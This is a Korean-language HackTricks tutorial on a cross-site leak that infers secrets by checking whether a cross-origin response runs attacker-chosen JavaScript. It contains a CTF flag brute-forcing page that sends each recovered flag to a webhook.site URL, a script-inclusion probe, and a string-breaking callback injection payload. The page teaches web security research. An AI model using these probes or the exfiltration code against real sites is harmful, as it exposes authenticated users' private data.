JavaScript Execution XS Leak

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기

이 XS-Search primitive는 cross-origin response가 JavaScript로 실행되는지 여부Boolean oracle로 바꿉니다.

일반적인 설정은 다음과 같습니다:

  • Positive state: target이 attacker-controlled text 또는 sensitive content를 반환하지만, 이는 attacker JavaScript로 실행되지 않음.
  • Negative state: target이 attacker-controlled text를 valid JavaScript로 파싱되는 위치에 반영하여, attacker가 window.parent.foo() 같은 callback을 강제로 실행할 수 있음.
  • Leak: classic <script src>로 target을 로드하고 callback이 실행되는지 관찰함.

이것은 기본적으로 timing oracle이 아니라 execution oracle입니다. attacker에게 필요한 것은 secret-dependent branch에 따라 다르게 동작하는 cross-origin script inclusion뿐입니다.

일반적인 XS-Leaks 배경은 다음을 보세요:

HackTricks

When This Works

이 technique는 다음이 모두 참일 때 실용적입니다:

  • victim이 target origin에 authenticated 되어 있음.
  • attacker가 victim browser로 하여금 target origin에서 classic script를 요청하게 할 수 있음.
  • 한 branch가 valid attacker-controlled JavaScript를 반환함.
  • 다른 branch가 attacker callback을 실행하지 않는 content를 반환함.

실제로 가장 쉬운 경우는 다음과 같은 search/debug endpoints입니다:

  • guess가 틀리면 attacker-controlled text를 반환
  • guess가 맞으면 다른 body를 반환
  • attacker가 callback, hint, msg, 또는 reflected prefix/suffix 같은 parameter를 선택할 수 있음

Basic Example

${guess}를 flag prefix로 시도하는 server-side code:

app.get("/guessing", function (req, res) {
let guess = req.query.guess
let page = `<html>
<head>
<script>
function foo() {
// If not the flag this will be executed
window.parent.foo()
}
</script>
<script src="https://axol.space/search?query=${guess}&hint=foo()"></script>
</head>
<p>hello2</p>
</html>`
res.send(page)
})

이전 /guessing 페이지에 대해 각 가능성을 테스트하기 위해 iframes를 생성하는 메인 페이지:

<html>
<head>
<script>
let candidateIsGood = false
let candidate = ""
let flag = "bi0sctf{"
let guessIndex = -1

let flagChars =
"_0123456789abcdefghijklmnopqrstuvwxyz}ABCDEFGHIJKLMNOPQRSTUVWXYZ"

// this will get called from our iframe IF the candidate is WRONG
function foo() {
candidateIsGood = false
}

timerId = setInterval(() => {
if (candidateIsGood) {
flag = candidate
guessIndex = -1
fetch("https://webhook.site/<yours-goes-here>?flag=" + flag)
}

// Start with true and change to false if the guess is wrong
candidateIsGood = true
guessIndex++
if (guessIndex >= flagChars.length) {
fetch("https://webhook.site/<yours-goes-here>")
return
}
let guess = flagChars[guessIndex]
candidate = flag + guess
let iframe = `<iframe src="/guessing?guess=${encodeURIComponent(
candidate
)}"></iframe>`
hack.innerHTML = iframe
}, 500)
</script>
</head>
<p>hello</p>
<div id="hack"></div>
</html>

공격자 로직은 다음과 같습니다:

  1. 모든 후보를 “good“으로 시작합니다.
  2. 대상 응답을 script로 로드합니다.
  3. 응답이 window.parent.foo()를 실행하면, 해당 후보를 wrong으로 표시합니다.
  4. 아무 callback도 실행되지 않으면, 후보를 유지하고 brute-forcing을 계속합니다.

Minimal Probe Pattern

많은 실제 대상에서는 iframe이 필요하지 않습니다. 직접 script 포함만으로 충분합니다:

<script>
let hit = true
function miss() {
hit = false
}

function probe(url) {
return new Promise((resolve) => {
hit = true
const s = document.createElement("script")
s.src = url
s.onload = () => resolve(hit)
s.onerror = () => resolve(false)
document.head.appendChild(s)
})
}
</script>

If the “wrong guess” branch reflects miss(), then:

  • probe(...) === false means the callback executed or the load failed
  • probe(...) === true means the script loaded without running the attacker callback

신뢰성을 위해, probe마다 fresh script element를 사용하고 ?r=${crypto.randomUUID()} 같은 cache-buster를 추가하세요.

Modern Caveats

It must be a classic script

이 primitive는 브라우저가 리소스를 classic script로 가져오는 것에 의존합니다. crossorigin 없는 일반 <script src=...>no-cors mode로 가져와지며, 바로 그 이유 때문에 이 오래된 pattern이 cross-origin에서 여전히 유용합니다.

이 technique에서 type="module"로 바꾸지 마세요:

  • cross-origin module scripts require CORS
  • classic scripts로 포함 가능한 많은 target은 module로는 그냥 실패합니다

MIME type and nosniff decide whether the payload executes

현재 browser는 예전 writeup보다 더 엄격합니다. target이 X-Content-Type-Options: nosniff를 설정하면, browser는 MIME type이 JavaScript MIME type이 아닌 script response를 차단합니다.

즉, 이 oracle은 종종 다음에 의존합니다:

  • target이 application/javascript / text/javascript를 반환하는지
  • target이 text/plain, text/html, 또는 JSON을 반환하는지
  • nosniff가 존재하는지

이것이 일부 endpoint에서 한 branch에서만 leak이 나는 이유이기도 합니다: 한 response는 script로 허용되지만, 다른 branch는 차단되거나 다르게 parse됩니다.

CORB can change the observable result

CORB는 생각해야 할 또 다른 branch를 추가합니다. response가 CORB-protected로 간주되면, Chromium은 parse failure를 노출하는 대신 그것을 empty valid script response로 바꿀 수 있습니다. 그래서 일부 endpoint에서는:

  • 한 state가 정상적인 script parse / callback을 트리거하고
  • 다른 state는 empty script가 되어 onload만 발생합니다

여전히 유용한 oracle이지만, signal은 이제 단순한 “JavaScript executed or not“가 아니라 callback vs no callback 또는 onload vs onerror입니다.

CSP can kill the attacker-controlled branch

target response에 엄격한 CSP가 있으면, reflected branch가 더 이상 실행 가능한 JavaScript가 아닐 때 이 primitive가 깨질 수 있습니다. 2022년부터 2024년까지의 공개 XS-Leak challenge writeup들은 이 세부 사항에 반복적으로 의존합니다:

  • script-src 'none'는 attacker가 직접 execution oracle로 가는 것을 강제로 우회하게 만들 수 있습니다
  • CSP/SRI/CSP-report 상호작용은 여전히 다른 leak oracle을 만들 수 있지만, 그것들은 다른 page/technique에 해당합니다

따라서 명백한 callback trick이 동작하지 않으면, endpoint를 버리기 전에 response headers를 확인하세요.

Useful Variants

Callback-parameter endpoints

가장 편리한 target은 다음과 같은 parameter를 받는 JSONP-style 또는 debug endpoint입니다:

  • callback=...
  • cb=...
  • jsonp=...
  • hint=...
  • msg=...

“miss” branch가 그 값을 executable JavaScript 안에 verbatim으로 반영하고 “hit” branch가 다른 content를 반환한다면, timing measurement 없이 직접적인 Boolean oracle을 얻을 수 있습니다.

Syntax-preserving prefixes and suffixes

때로는 response body를 완전히 제어할 수 없지만, 그래도 negative branch를 execute시킬 수 있습니다:

  • 현재 string 또는 function argument를 닫기
  • callback을 주입하기
  • trailing bytes를 comment out하기

예를 들어, 다음과 같은 reflected branch:

showResult("<attacker>");

다음으로 자주 바뀔 수 있다:

showResult("");window.parent.foo();//");

양의 branch가 해당 payload를 반영하지 않으면, callback이 oracle이 됩니다.

event-based oracles와 결합하기

endpoint가 브라우저마다 불안정하다면, section index에서 이미 다룬 일반적인 script load events와 execution oracle을 섞으세요:

  • callback fired
  • onload
  • onerror

이것은 한 branch가 유효한 JavaScript를 만들고 다른 branch가 blocked MIME / CORB / CSP behavior를 보일 때 특히 유용합니다.

Related pages:

Practical Notes

  • 요청당 one bit를 선호하고 callback side effect를 단순하게 유지하세요.
  • 많은 후보를 probe한다면, 이전에 삽입한 <script> elements를 제거하거나 각 시도를 별도의 새 iframe에서 분리하세요.
  • Cache와 service worker behavior가 oracle을 오염시킬 수 있으므로 cache-busting을 사용하세요.
  • 이 primitive는 negative branch가 완전히 attacker-controlled JavaScript일 때 가장 강력합니다. 부분적인 reflection만 얻는다면, exploit은 XS-Search problem이 아니라 payload-shaping problem이 됩니다.

References

Tip

AWS Hacking을 배우고 연습하세요:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking을 배우고 연습하세요: HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking을 배우고 연습하세요: HackTricks Training Azure Red Team Expert (AzRTE) 평가 트랙 (ARTA/GRTA/AzRTA)과 Linux Hacking Expert (LHE)를 보려면 전체 HackTricks Training 카탈로그를 둘러보세요.

HackTricks 지원하기